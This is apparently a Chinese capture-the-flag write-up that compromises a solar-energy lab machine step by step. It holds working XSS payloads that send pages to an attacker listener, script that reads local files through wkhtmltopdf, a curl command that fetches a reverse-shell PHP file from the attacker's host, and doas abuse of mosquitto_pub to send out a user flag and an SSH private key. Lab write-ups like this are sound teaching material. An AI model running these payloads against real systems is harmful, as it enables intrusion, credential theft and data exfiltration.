< 0 ? 'grid-negative' : 'grid-positive' } ">${gridEnergy} kWh</span>` ; document .getElementById ('userInfo' ).innerHTML = `<span>${userName} </span><br>${userRole} ` ; } setParams (0 , 0 ); function showMessage (msg ) { const mensajeDiv = document .createElement ('div' ); mensajeDiv.classList .add ("temp-message" ) mensajeDiv.textContent = msg; document .body .appendChild (mensajeDiv); setTimeout (() => { mensajeDiv.remove (); }, 3000 ); } function sendrecord ( ) { let btn = document .getElementById ('send-record-id' ); if (!btn.disabled ) { let chartImage = energyChart.toBase64Image (); mqttclient.publish ('record' , JSON .stringify ({ time : new Date ().toISOString (), user : { name : userName, role : userRole }, solar : solar, consumed : consumed, grid : grid, chart : chartImage })); btn.disabled = true ; btn.style .opacity = '0.3' ; setTimeout (() => { btn.style .opacity = '1' ; btn.disabled = false ; showMessage ('Record was end successfully!' ) }, 1500 ); } } document .getElementById ('send-record-id' ).onclick = sendrecord; </script > </body >
仔细观察代码,发现管理员页面比普通用户多了两个功能
Show message
Send record
showMessage
这个函数的作用是在页面上显示一条临时消息,并在 3 秒后自动移除。它通过创建一个新的 div
元素,设置其内容和样式,然后将其添加到页面中。使用 setTimeout
函数来延迟 3 秒后移除消息元素。
sendrecord
这个函数的作用是捕获当前图表的图像,并将其与能量数据和用户信息一起通过 MQTT 发布到服务器。它首先检查按钮是否可用,然后捕获图表图像,发布记录消息,禁用按钮并改变其透明度。使用 setTimeout
函数在 1.5 秒后恢复按钮状态,并显示一条成功消息。最后,将该函数绑定到按钮的点击事件上。
那我们尝试利用xss点击一下按钮
1 2 3 4 { "solarEnergy" : "<img src=x onerror=\"document.querySelector(`#send-record-id`).dispatchEvent(new Event('click'));\" />" , "consumedEnergy" : 999999 }
选择元素 :document.querySelector(
#send-record-id)
找到文档中与CSS选择器 #send-record-id
匹配的第一个元素,即 id
为 send-record-id
的元素。
创建并派发事件 :.dispatchEvent(new Event('click'))
创建一个新的 click
事件,并将其派发到所选元素,从而模拟对该元素的点击。
MQTT协议二次利用 我们通过管理员JulianAdm
的凭证连接到MQTT
服务器
同时开始订阅data
record
两个主题
发送上方的payload,在record
即可收到返回的图片
通过record
主题中返回的json
数据
我们可以分析一下
LFI漏洞入口 修改HTML标签 然后伪造一个chart
显示我们要显示的文本
1 2 3 4 5 6 7 8 9 10 { "time" : "2025-02-20T10:57:01.468Z" , "user" : { "name" : "JulianAdm" , "role" : "admin" } , "solar" : 211 , "consumed" : 168 , "grid" : -43 , "chart" : "\"><h1>This is h1 title</h1></" }
发送数据到record
发完后也会返回相同的json
在上文中我们通过gobuster
还扫到一个目录records
不过也是需要登录的
所以可以尝试通过管理员的身份去登录,并返回页面信息
1 2 3 4 { "solarEnergy" : "<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer())));})();\"; />" , "consumedEnergy" : 999999 }
fetch('/records/')
: 发送一个 HTTP 请求到 /records/
URL,并返回一个 Response
对象。
await fetch('/records/')
: 等待请求完成,并返回一个 Response
对象。
(await fetch('/records/')).arrayBuffer()
: 调用 arrayBuffer()
方法,将响应转换为 ArrayBuffer
对象。
await (await fetch('/records/')).arrayBuffer()
: 等待 ArrayBuffer
对象的创建完成。
new Uint8Array(await (await fetch('/records/')).arrayBuffer())
: 将 ArrayBuffer
对象转换为 Uint8Array
对象,以字节为单位表示数据。
String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer()))
: 使用 String.fromCharCode
将 Uint8Array
对象的每个字节转换为相应的字符,并生成一个字符串。
btoa(...)
: 使用 btoa
函数将生成的字符串编码为 Base64 格式。
'http://192.168.1.116/?data=' + btoa(...)
: 将编码后的数据附加到重定向的 URL 中,作为 data
参数。
这对于不会JavaScript
的人来说,有点困难
本地开一下http服务
1 2 3 4 5 6 ❯ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.60.100 - - [20/Feb/2025 19:31:25] "GET /?data=省略……………………HTTP/1.1" 200 - 192.168.60.196 - - [20/Feb/2025 19:31:25] "GET /?data=PCFET0NUWVBFIGh0bWw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+TGlzdCBvZiBTb2xhciBFbmVyZ3kgRGF0YTwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdHlsZS5jc…………………………省略………………G1sPg== HTTP/1.1" 200 - 192.168.60.196 - - [20/Feb/2025 19:31:25] code 404, message File not found 192.168.60.196 - - [20/Feb/2025 19:31:25] "GET /favicon.ico HTTP/1.1" 404 -
base64解码一下,得到record
的源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <!DOCTYPE html > <html > <head > <title > List of Solar Energy Data</title > <link rel ="stylesheet" href ="/style.css" > <link rel ="stylesheet" href ="/style3.css" > </head > <body > <div style ="min-width:400px;background:white;padding:15px;border-radius: 8px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);" > <div style ="text-align:center;" > <object class ="solar-icon" data ="../sun.svg" type ="image/svg+xml" style ="width:75px;" > </object > </div > <h1 > List of Solar Energy Data</h1 > <table > <tr > <th > Record</th > <th > Actions</th > </tr > <tr > <td > 2024-09-02T23:15:11.396Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A15%3A11.396Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:18:15.742Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A18%3A15.742Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:18:44.091Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A18%3A44.091Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:24:33.828Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A24%3A33.828Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:24:44.800Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A24%3A44.800Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:25:15.961Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A25%3A15.961Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2024-09-02T23:29:14.124Z</td > <td > <a href ="?download=true&file=2024-09-02T23%3A29%3A14.124Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2025-02-20T12:09:13.799Z</td > <td > <a href ="?download=true&file=2025-02-20T12%3A09%3A13.799Z.json" class ="download-btn" > Download PDF</a > </td > </tr > <tr > <td > 2025-02-20T12:13:49.325Z</td > <td > <a href ="?download=true&file=2025-02-20T12%3A13%3A49.325Z.json" class ="download-btn" > Download PDF</a > </td > </tr > </table > <a href ="../dashboard.php" class ="logout-link" > < Back</a > </div > </body > </html >
发现是太阳能数据列表
,有很多pdf
我们也是利用相同的xss payload 尝试下载最新一篇的pdf
1 2 3 4 { "solarEnergy" : "<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/?download=true&file=2025-02-20T12%3A13%3A49.325Z.json')).arrayBuffer())));})();\"; />" , "consumedEnergy" : 999999 }
另存为pdf
打开发现就是我们之前注入的文本This is h1 title
另外我们通过查看文件详细作者
可以得知是由wkhtmltopdf 0.12.6.1
创建的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ exiftool Solar.pdf ExifTool Version Number : 13.00 File Name : Solar.pdf Directory : . File Size : 20 kB File Modification Date/Time : 2025:02:20 20:19:47+08:00 File Access Date/Time : 2025:02:20 20:20:00+08:00 File Inode Change Date/Time : 2025:02:20 20:19:47+08:00 File Permissions : -rwxr-xr-x File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Title : Solar Energy Data Creator : wkhtmltopdf 0.12.6.1 Producer : Qt 4.8.7 Create Date : 2025:02:20 07:17:06-05:00 Page Count : 1 Page Mode : UseOutlines
wkhtmltopdf
是一个开源的命令行工具,用于将HTML文件转换成PDF文件。它是基于WebKit的HTML转PDF工具,支持各种操作系统,包括Windows、Mac和Linux。版本0.12.6.1是该工具的一个特定版本,包含了一些特定的功能和修复了一些bug。用户可以使用wkhtmltopdf来快速高效地将HTML页面转换为PDF文件。
虽然说此版本由LFI漏洞,可以任意读取文件
但无法访问系统文件/etc/passwd
,只能读取来自web上的php文件
XSS漏洞结合LFI漏洞 相同的,我们可以在records
中构造json数据
1 2 3 4 5 6 7 8 9 10 11 12 <script> p='/var/www/solar.nyx/records/index.php' ; x=new XMLHttpRequest ; x.onerror =function ( ) { document .write ('<p>' + p + ' not found' ); }; x.onload =function ( ) { document .write ('<p>' + p + '</p><div style="word-break: break-all;max-width:90%;">' + btoa (this .responseText ) + '</div>' ); }; x.open ("GET" , "file://" + p); x.send (); </script>
p='/var/www/solar.nyx/records/index.php';
:
定义了一个变量 p
,其值是文件路径 /var/www/solar.nyx/records/index.php
。
x=new XMLHttpRequest;
:
创建一个新的 XMLHttpRequest 对象 x
,用于发送HTTP请求。
x.onerror=function() { ... };
:
定义一个错误处理函数。如果请求失败(如文件未找到),就会执行这个函数,将 <p>
标签与错误消息写入页面。
x.onload=function() { ... };
:
定义一个加载处理函数。当请求成功时,会执行这个函数,将文件路径 <p>
标签与文件内容(编码为Base64格式)写入页面。
x.open("GET", "file://" + p);
:
初始化一个 GET 请求,目标是指定的文件路径(file://
+ p
)。
x.send();
:
将此javascript
代码写到chart
中
完整payload
1 2 3 4 5 6 7 8 9 10 { "time" : "2025-02-20T10:57:01.468Z" , "user" : { "name" : "JulianAdm" , "role" : "admin" } , "solar" : 211 , "consumed" : 168 , "grid" : -43 , "chart" : "\"><script>\np='/var/www/solar.nyx/login.php';\nx=new XMLHttpRequest;\nx.onerror=function(){{document.write('<p>'+p+' not found')}};\nx.onload=function(){{document.write('<p>'+p+'</p><div style=\"word-break: break-all;max-width:90%;\">'+btoa(this.responseText)+'</div>')}};\nx.open(\"GET\",\"file://\"+p);x.send();\n</script><x=\"" }
重复上述步骤
发送此json数据到data中获取最新的pdf链接
1 2 3 4 { "solarEnergy" :"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/')).arrayBuffer())));})();\"; />" ,"consumedEnergy" :999999}
监听http服务返回包
1 2 3 4 5 <td>2025-02-20T12:44:54.135Z</td> <td> <a href="?download=true&file=2025-02-20T12%3A44%3A54.135Z.json" class="download-btn" >Download PDF</a> </td> </tr>
发送此json数据从records
页面中下载pdf
1 2 3 4 { "solarEnergy" : "<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000/?data=' + btoa(String.fromCharCode(...new Uint8Array(await (await fetch('/records/?download=true&file=2025-02-20T12%3A44%3A54.135Z.json')).arrayBuffer())));})();\"; />" , "consumedEnergy" : 999999 }
base64
解码得到网页源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php include ("../session.php" );if (!isset ($_SESSION ['username' ]) || empty ($_SESSION ['username' ]) || $_SESSION ['role' ] != 'admin' ) { header ("Location: /index.php" ); exit (); } $directory = __DIR__ . '/' ; $files = glob ($directory . '*.json' );usort ($files , function ($a , $b ) { return filemtime ($b ) - filemtime ($a ); }); $filesToKeep = array_slice ($files , 0 , 10 );$filesToDelete = array_slice ($files , 10 );foreach ($filesToDelete as $file ) { if (is_file ($file )) { unlink ($file ); } } $jsonFiles = glob ($directory . '*.json' ); function generatePDF ($data , $filename ) { $html = '<html><head><title>Solar Energy Data</title><style> .energy-meter { margin: 20px auto; text-align: center; } h1 { text-align: center; } </style></head><body>' ; $html .= '<div style="text-align:center;"><br><br><img src="/var/www/solar.nyx/sun.svg" width="250" height="150"></div><br><br>' ; $html .= '<h1>Solar Energy Data<br><small>' . htmlspecialchars ($data ['time' ]) . '</small></h1><br><br><br><div class="energy-meter"><img src="' . ($data ['chart' ]) . '" ></div><br>' ; $html .= '<table border="0" cellpadding="4" style="margin-left:auto;margin-right:auto;"> <tr> <th align="right">Registered by user</th> <td>' . htmlspecialchars ($data ['user' ]['name' ]) . ' (' . htmlspecialchars ($data ['user' ]['role' ]) . ')</td> </tr> <tr> <th align="right">Solar</th> <td>' . htmlspecialchars ($data ['solar' ]) . '</td> </tr> <tr> <th align="right">Consumed</th> <td>' . htmlspecialchars ($data ['consumed' ]) . '</td> </tr> <tr> <th align="right">Grid</th> <td>' . htmlspecialchars ($data ['grid' ]) . '</td> </tr> </table>' ; $html .= '</body></html>' ; $tempHtmlFile = tempnam (sys_get_temp_dir (), 'html_' ) . '.html' ; file_put_contents ($tempHtmlFile , $html ); $outputPdfFile = sys_get_temp_dir () . '/' . $filename ; $command = escapeshellcmd ("wkhtmltopdf --disable-local-file-access --allow /var/www/ $tempHtmlFile $outputPdfFile " ); $result = shell_exec ($command . ' 2>&1' ); if ($result === null ) { unlink ($tempHtmlFile ); throw new Exception ('Error generate PDF: ' . $result ); } unlink ($tempHtmlFile ); return $outputPdfFile ; } if (isset ($_GET ['download' ]) && isset ($_GET ['file' ])) { $file = basename ($_GET ['file' ]); $filePath = $directory . '/' . $file ; if (file_exists ($filePath ) && pathinfo ($filePath , PATHINFO_EXTENSION) === 'json' ) { $data = json_decode (file_get_contents ($filePath ), true ); if ($data === null ) { http_response_code (400 ); echo 'Error read JSON.' ; exit ; } try { $pdfFile = generatePDF ($data , basename ($file , '.json' ) . '.pdf' ); header ('Content-Type: application/pdf' ); header ('Content-Disposition: attachment; filename="' . basename ($pdfFile ) . '"' ); readfile ($pdfFile ); unlink ($pdfFile ); exit ; } catch (Exception $e ) { http_response_code (500 ); echo 'Error generate PDF: ' . $e ->getMessage (); exit ; } } else { http_response_code (404 ); echo 'File not found.' ; exit ; } } ?> <!DOCTYPE html> <html> <head> <title>List of Solar Energy Data</title> <link rel="stylesheet" href="/style.css" > <link rel="stylesheet" href="/style3.css" > </head> <body> <div style="min-width:400px;background:white;padding:15px;border-radius: 8px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);" > <div style="text-align:center;" ><object class ="solar -icon " data ="../sun .svg " type ="image /svg +xml " style ="width :75px ;"></object ></div > <h1 >List of Solar Energy Data </h1 > <table > <tr > <th >Record </th > <th >Actions </th > </tr > <?php foreach ($jsonFiles as $file ): ?> <tr > <td ><?php echo htmlspecialchars (pathinfo ($file , PATHINFO_FILENAME )); ?></td > <td > <a href ="?download =true &file =<?php echo urlencode (basename ($file )); ?>" class ="download -btn ">Download PDF </a > </td > </tr > <?php endforeach ; ?> </table > <a href ="../dashboard .php " class ="logout -link ">< ; Back </a > </div > </body > </html >
其中这些代码也恰巧验证了上方能够注入文件的原因
接受来自data
的chart
保存在div
块中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $html .= '<div style ="text-align:center;" > <br > <br > <img src ="/var/www/solar.nyx/sun.svg" width ="250" height ="150" > </div > <br > <br > '; $html .= '<h1 > Solar Energy Data<br > <small > ' . htmlspecialchars($data['time']) . '</small > </h1 > <br > <br > <br > <div class ="energy-meter" > <img src ="' . ($data['chart']) . '" > </div > <br > '; $html .= '<table border ="0" cellpadding ="4" style ="margin-left:auto;margin-right:auto;" > <tr > <th align ="right" > Registered by user</th > <td > ' . htmlspecialchars($data['user']['name']) . ' (' . htmlspecialchars($data['user']['role']) . ')</td > </tr > <tr > <th align ="right" > Solar</th > <td > ' . htmlspecialchars($data['solar']) . '</td > </tr > <tr > <th align ="right" > Consumed</th > <td > ' . htmlspecialchars($data['consumed']) . '</td > </tr > <tr > <th align ="right" > Grid</th > <td > ' . htmlspecialchars($data['grid']) . '</td > </tr > </table > '; $html .= '</body > </html > ';
通过观察源代码 可以发现使用 wkhtmltopdf
命令将 HTML 文件转换为 PDF 文件
1 2 <?php $command = escapeshellcmd ("wkhtmltopdf --disable-local-file-access --allow /var/www/ $tempHtmlFile $outputPdfFile " );
**escapeshellcmd
**:
这个 PHP 函数用于转义命令行字符串中的特殊字符,以防止命令注入攻击。它确保传递给 shell_exec
的命令是安全的。
wkhtmltopdf
工具 :
wkhtmltopdf
是一个强大的工具,可以将 HTML 文件转换为 PDF 文件。它支持复杂的 HTML 和 CSS,并且可以生成高质量的 PDF 文件。
**--disable-local-file-access
**:
这个参数用于禁用本地文件访问。它可以防止 HTML 文件中的 <img>
标签或其他资源从本地文件系统加载文件,从而提高安全性。
**--allow /var/www/
**:
这个参数用于指定允许访问的目录。在这种情况下,它允许 wkhtmltopdf
访问 /var/www/
目录中的文件。这个参数与 --disable-local-file-access
一起使用,以便在禁用本地文件访问的情况下,仍然可以访问指定目录中的文件。
**$tempHtmlFile
**:
这是一个变量,包含临时 HTML 文件的路径。这个 HTML 文件是根据传入的数据生成的,并将被转换为 PDF 文件。
**$outputPdfFile
**:
这是一个变量,包含输出 PDF 文件的路径。生成的 PDF 文件将被保存到这个路径。
那既然只能读/var/www
下面的文件,那上文我们利用gobuster
扫到的login.php
尝试读取一下
敏感文件读取 重复上述步骤,分别读取
/var/www/solar.nyx/login.php
在源代码中得到mysql的用户凭证
但只能本地访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include ("session.php" );$servername = "127.0.0.1" ;$username = "solar_user" ;$password = "lD5vkvLfMowAiaT7w64C" ;$dbname = "solar_energy_db" ;try { $conn = new PDO ("mysql:host=$servername ;dbname=$dbname " , $username , $password ); $conn ->setAttribute (PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION ); if ($_SERVER ["REQUEST_METHOD" ] == "POST" ) { $user = $_POST ['username' ]; $pass = $_POST ['password' ]; $hashed_pass = hash ('sha256' , $pass ); $stmt = $conn ->prepare ("SELECT id, password, role FROM users WHERE username = :username" ); $stmt ->bindParam (':username' , $user ); $stmt ->execute (); $row = $stmt ->fetch (PDO::FETCH_ASSOC ); if ($row ) { if ($hashed_pass === $row ['password' ]) { session_regenerate_id (true ); $_SESSION ['id' ] = $row ['id' ]; $_SESSION ['username' ] = $user ; $_SESSION ['role' ] = $row ['role' ]; header ("Location: dashboard.php" ); exit (); } else { header ("Location: index.php?msg=" . urlencode ("Invalid password." )); } } else { header ("Location: index.php?msg=" . urlencode ("No user found with that username." )); } } } catch (PDOException $e ) { echo "Connection failed: " . $e ->getMessage (); } $conn = null ;?>
/var/www/sunfriends.nyx/server.php
文件中存储了secret
变量
很明显就是登录凭证5up3r:bloods
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 <?php $secure = true ;$httponly = true ;$samesite = 'Strict' ;$secret = [ 'user' => '5up3r' , 'pass' => 'bloods' ]; if (PHP_VERSION_ID < 70300 ) { session_set_cookie_params ($maxlifetime , '/; samesite=' . $samesite , $_SERVER ['HTTP_HOST' ], $secure , $httponly ); } else { session_set_cookie_params ([ 'lifetime' => $maxlifetime , 'path' => '/' , 'domain' => $_SERVER ['HTTP_HOST' ], 'secure' => $secure , 'httponly' => $httponly , 'samesite' => $samesite ]); } session_start ();if ($_SERVER ['REQUEST_METHOD' ] == 'POST' && isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; if ($username === $secret ['user' ] && $password === $secret ['pass' ]) { $_SESSION ['loggedin' ] = true ; header ('Location: server.php' ); exit ; } else { $error = "Incorrect username or password." ; } } if (isset ($_SESSION ['loggedin' ]) && $_SESSION ['loggedin' ] === true ) { if (isset ($_POST ['logout' ])) { session_destroy (); header ('Location: server.php' ); exit ; } if (isset ($_POST ['execute' ]) && isset ($_POST ['command_file' ])) { $commandFile = 'commands/' . basename ($_POST ['command_file' ]); if (file_exists ($commandFile )) { $commandJson = file_get_contents ($commandFile ); $command = json_decode ($commandJson , true ); if (isset ($command ['cmd' ])) { $output = shell_exec (escapeshellcmd ($command ['cmd' ])); $mqttHost = 'localhost' ; $mqttTopic = 'server/command/output' ; $mqttMessage = json_encode ([ 'name' => $command ['name' ], 'command' => $command ['cmd' ], 'output' => base64_encode ($output ) ]); $mqttCommand = sprintf ( 'mosquitto_pub -h %s -t %s -m %s -u ' .$secret ['user' ].' -P \'' .$secret ['pass' ].'\'' , escapeshellarg ($mqttHost ), escapeshellarg ($mqttTopic ), escapeshellarg ($mqttMessage ) ); shell_exec ($mqttCommand ); } else { $output = "Invalid command format in the file." ; } } else { $output = "Command file not found." ; } } $commandFiles = array_diff (scandir ('commands' ), ['.' , '..' , 'php-info.php' ]); ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>Admin Panel</title> <link rel="stylesheet" href="/style.css" > <link rel="stylesheet" href="/styleadmin2.css" > </head> <body> <main> <h1>Server Administration Panel</h1> <p>This is a server administration or management page.</p> <p style="text-align:left;" >Server contains two websites: <ul> <li style="text-align:left;" ><strong>sunfriends.nyx</strong> a forum about solar energy.</li> <li style="text-align:left;" ><strong>solar.nyx</strong> a real time control panel for the community solar installation.</li> </ul> </p> <form method="post" action="" > <input type="submit" name="logout" value="Logout" > </form> <h2>Server Information</h2> <form method="post" action="" > <label for ="command_file" >Select Command:</label> <select name="command_file" id="command_file" required> <?php foreach ($commandFiles as $file ): ?> <option value="<?php echo htmlspecialchars($file ); ?>" ><?php echo htmlspecialchars ($file ); ?> </option> <?php endforeach ; ?> </select> <br><br> <input type="submit" name="execute" value="Execute" > </form> <?php if (isset ($output )): ?> <h3>Command Output:</h3> <pre><?php echo htmlspecialchars ($output ); ?> </pre> <?php endif ; ?> </main> </body> </html> <?php } else { ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Admin Login - Solar Community Server</title> <link rel="stylesheet" href="/style.css" > <link rel="stylesheet" href="/styleadmin.css" > </head> <body> <!-- Main container for the login form --> <div class ="login -container "> <!-- Page header --> <h2 >Admin Login </h2 > <!-- Subheader to clarify the purpose of the login --> <h3 >Administration Server for <strong >solar .nyx </strong > and <strong >sunfriends .nyx </strong ></h3 > <!-- Display error message if present --> <?php if (isset ($error )): ?> <p class ="error "><?php echo $error ; ?></p > <?php endif ; ?> <!-- Login form --> <form method ="post " action =""> <!-- Username input --> <label for ="username ">Username </label > <input type ="text " name ="username " id ="username " required > <!-- Password input --> <label for ="password ">Password </label > <input type ="password " name ="password " id ="password " required > <!-- Submit button --> <input type ="submit " value ="Login "> </form > <!-- Footer link to the main site --> <div class ="footer -link "> <p >Not an admin ? <a href ="/">Return to Solar Community Forum </a ></p > </div > </div > </body > </html > <?php } ?>
MQTT协议三次利用 登入进去,可以执行预定的命令来查看服务器状态
猜测含有注入命令执行漏洞
在源代码中命令执行的部分中 Handle command execution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if (isset ($_POST ['execute' ]) && isset ($_POST ['command_file' ])) { $commandFile = 'commands/' . basename ($_POST ['command_file' ]); if (file_exists ($commandFile )) { $commandJson = file_get_contents ($commandFile ); $command = json_decode ($commandJson , true ); if (isset ($command ['cmd' ])) { $output = shell_exec (escapeshellcmd ($command ['cmd' ])); $mqttHost = 'localhost' ; $mqttTopic = 'server/command/output' ; $mqttMessage = json_encode ([ 'name' => $command ['name' ], 'command' => $command ['cmd' ], 'output' => base64_encode ($output ) ]); $mqttCommand = sprintf ( 'mosquitto_pub -h %s -t %s -m %s -u ' .$secret ['user' ].' -P \'' .$secret ['pass' ].'\'' , escapeshellarg ($mqttHost ), escapeshellarg ($mqttTopic ), escapeshellarg ($mqttMessage ) ); shell_exec ($mqttCommand ); } else { $output = "Invalid command format in the file." ; } } else { $output = "Command file not found." ; } }
'mosquitto_pub -h %s -t %s -m %s -u '.$secret['user'].' -P \''.$secret['pass'].'\''
上方的凭证同时也MQTT
服务的连接凭证
连接一下,$mqttTopic = 'server/command/output';
同时订阅来自server/command/output
的信息
亦或者你不嫌烦的直接#
订阅全部信息
我们执行命令,可以收到来自output
的json
我在想既然拿到输出格式,那我们能不能构造一个命令
我直接输入空内容,会有报错
提示少了name
参数
添加后,又提示少了cmd
参数
不过源代码中通过escapeshellcmd
函数来转义字符串中的特殊符号
escapeshellcmd
函数会转义以下字符:
&
(按位与)
;
(命令分隔符)
|
(管道符)
-
(选项标志)
\
(反斜杠)
*
(通配符)
?
(通配符)
[
(左方括号)
]
(右方括号)
{
(左大括号)
}
(右大括号)
'
(单引号)
"
(双引号)
(
(左圆括号)
)
(右圆括号)
>
(重定向符)
<
(重定向符)
~
(波浪号)
#
(注释符)
=
(等号)
%
(百分号)
:
(冒号)
(空格)
尝试创建一个新的command
保存一个反弹shell到records/rev.php
注意靶机上没有wget
1 2 3 4 { "name" : "rev" , "cmd" : "curl -o /var/www/solar.nyx/records/rev.php http://192.168.60.100/rev.php" }
这时候你返回server.php
中刷新一下,就可以选择rev
了
用户提权 执行一下,curl一下rev.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ❯ tail -f /var/log/nginx/access.log 192.168.60.196 - - [20/Feb/2025:22:16:11 +0800] "GET /rev.php HTTP/1.1" 200 9288 "-" "curl/7.88.1" ❯ curl https://www.solar.nyx/records/rev.php -k ---------分割------------- ❯ pwncat-cs -lp 4444 [21:51:27] Welcome to pwncat 🐈! __main__.py:164 bound to 0.0.0.0:4444 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ [22:17:04] received connection from 192.168.60.196:57752 bind.py:84 [22:17:04] 0.0.0.0:4444: upgrading from /usr/bin/dash to manager.py:957 /usr/bin/bash [22:17:21] 192.168.60.196:57752: registered new host w/ db manager.py:957 (local ) pwncat$ (remote) www-data@solar:/var/www/solar.nyx/records$
至此,终于拿到user shell了
从中可以获得lenam
julian
用户
1 2 3 4 (remote) www-data@solar:/tmp$ cat /etc/passwd|grep -E "/bin/bash|/bin/sh" root:x:0:0:root:/root:/bin/bash lenam:x:1000:1000:,,,:/home/lenam:/bin/bash julian:x:1001:1001::/home/julian:/bin/sh
Doas权限 发现拥有doas执行权限
1 2 3 4 5 ╔══════════╣ Checking doas.conf permit nopass www-data as lenam cmd /usr/bin/mosquitto_pub permit lenam as julian cmd /bin/kill permit setenv { PATH } julian as root cmd /usr/local/bin/backups
可以以lenam
的身份执行/usr/bin/mosquitto_pub
那直接现查一下mosquitto_pub
的全部用法
-h
: 指定MQTT代理的主机名或IP地址。默认为localhost。
--unix
: 通过Unix域套接字而不是TCP套接字连接到代理,例如:/tmp/mosquitto.sock
。
-p
: 指定MQTT代理的端口号。默认为1883(普通MQTT)和8883(MQTT over TLS)。
-u
: 提供用户名。
-P
: 提供密码。
-t
: 指定发布消息的主题。
-L
: 以URL形式指定用户、密码、主机名、端口和主题,例如:mqtt(s)://[username[:password]@]host[:port]/topic
。
-f
: 将文件内容作为消息发送。
-l
: 从标准输入读取消息,每行发送一个单独的消息。
-n
: 发送一个空(长度为零)的消息。
-m
: 要发送的消息内容。
利用一下
将文件内容通过mqtt协议发送到readfile
1 2 (remote) www-data@solar:/tmp$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected] :1883/readfile -f /home/lenam/user.txt (remote) www-data@solar:/tmp$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected] :1883/readfile -f /home/lenam/.ssh/id_ed25519
订阅一下readfile
即可拿到user和私钥文件
